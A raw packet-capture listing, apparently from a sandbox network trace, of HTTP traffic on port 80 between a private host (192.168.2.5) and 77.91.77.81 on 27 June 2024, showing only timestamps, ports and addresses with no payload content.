Jun 27, 2024 19:27:06.772469044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772486925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772576094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772587061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772598982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772612095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772614002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772625923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772643089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772681952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772715092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772727013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772747040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772756100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772758961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772778988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772789955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772907019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772917986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772929907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772942066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772943020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772953987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772957087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772965908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.772974014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.772998095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.773024082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.773057938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.773859978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.773905039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.773937941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.773951054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.773974895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.773993969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774013042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774024010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774036884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774048090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774049997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774068117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774090052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774151087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774185896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774230957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774243116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774267912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774285078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774324894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774347067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774358988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774360895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774379969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774404049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774415970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774425030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774439096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774463892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774499893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774511099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774523020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774534941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774549007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774568081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774672031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774682999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774694920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774707079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774708986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774719954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774724007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774733067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774748087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774775982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.774955034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774966955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774979115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.774991035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775000095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775003910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775011063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775017977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775031090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775044918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775051117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775058031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775058985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775070906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775074959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775099039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775327921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775340080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775350094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775363922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775367975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775379896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775388956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775391102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775403976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775414944 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775414944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775429010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775433064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775441885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775449991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775454044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775465012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775475979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775475979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775490999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775501966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775507927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775521994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775522947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775536060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775542021 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775567055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775923014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775934935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775944948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775958061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775963068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775969028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775980949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.775985003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.775995970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.776005030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.776010036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.776019096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.776021957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.776035070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.776045084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.776070118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827405930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827431917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827444077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827461004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827497959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827514887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827528000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827548027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827572107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827636957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827647924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827660084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827672005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827681065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827683926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827697039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827706099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827719927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827744961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827883005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827896118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827908039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827920914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827924967 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827935934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.827950954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.827972889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841517925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841531038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841547966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841559887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841572046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841629982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841640949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841654062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841666937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841741085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841741085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841741085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841741085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841741085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841777086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841789961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841809988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841811895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841826916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841842890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841866016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841877937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.841902018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.841914892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871373892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871397972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871408939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871517897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871529102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871540070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871551037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871573925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871573925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871573925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871573925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871625900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871628046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871666908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871735096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871747971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871759892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871772051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871773958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871783972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871793985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871798038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.871818066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.871841908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872020006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872030973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872041941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872055054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872064114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872066975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872078896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872087955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872092009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872103930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872104883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872117996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872127056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872129917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872150898 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872165918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872603893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872643948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872802973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872813940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872824907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872838020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872845888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872849941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872863054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872869015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872875929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872879982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872888088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872900009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872906923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872916937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872917891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872931957 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.872939110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.872961044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873158932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873169899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873203039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873332024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873343945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873354912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873367071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873374939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873379946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873389959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873393059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873404980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873413086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873421907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873434067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873437881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873446941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873452902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873461962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873472929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873476982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873486042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873497009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873497009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873509884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873519897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873522997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.873544931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.873559952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874260902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874272108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874284029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874298096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874306917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874310970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874321938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874325991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874342918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874347925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874356031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874366999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874366999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874381065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874389887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874392986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874404907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874411106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874418020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874427080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874430895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874444008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874452114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874455929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874469995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874475956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874483109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874491930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874495983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874506950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874515057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874519110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874530077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874540091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874541044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874553919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874558926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874574900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874597073 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874797106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874809980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874820948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.874840975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.874861956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906609058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906622887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906635046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906681061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906707048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906713963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906725883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906738043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906745911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906749964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906761885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906770945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906781912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906805992 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:06.906872034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:06.906883001 CEST	80	49721	77.91.77.81	192.168.2.5
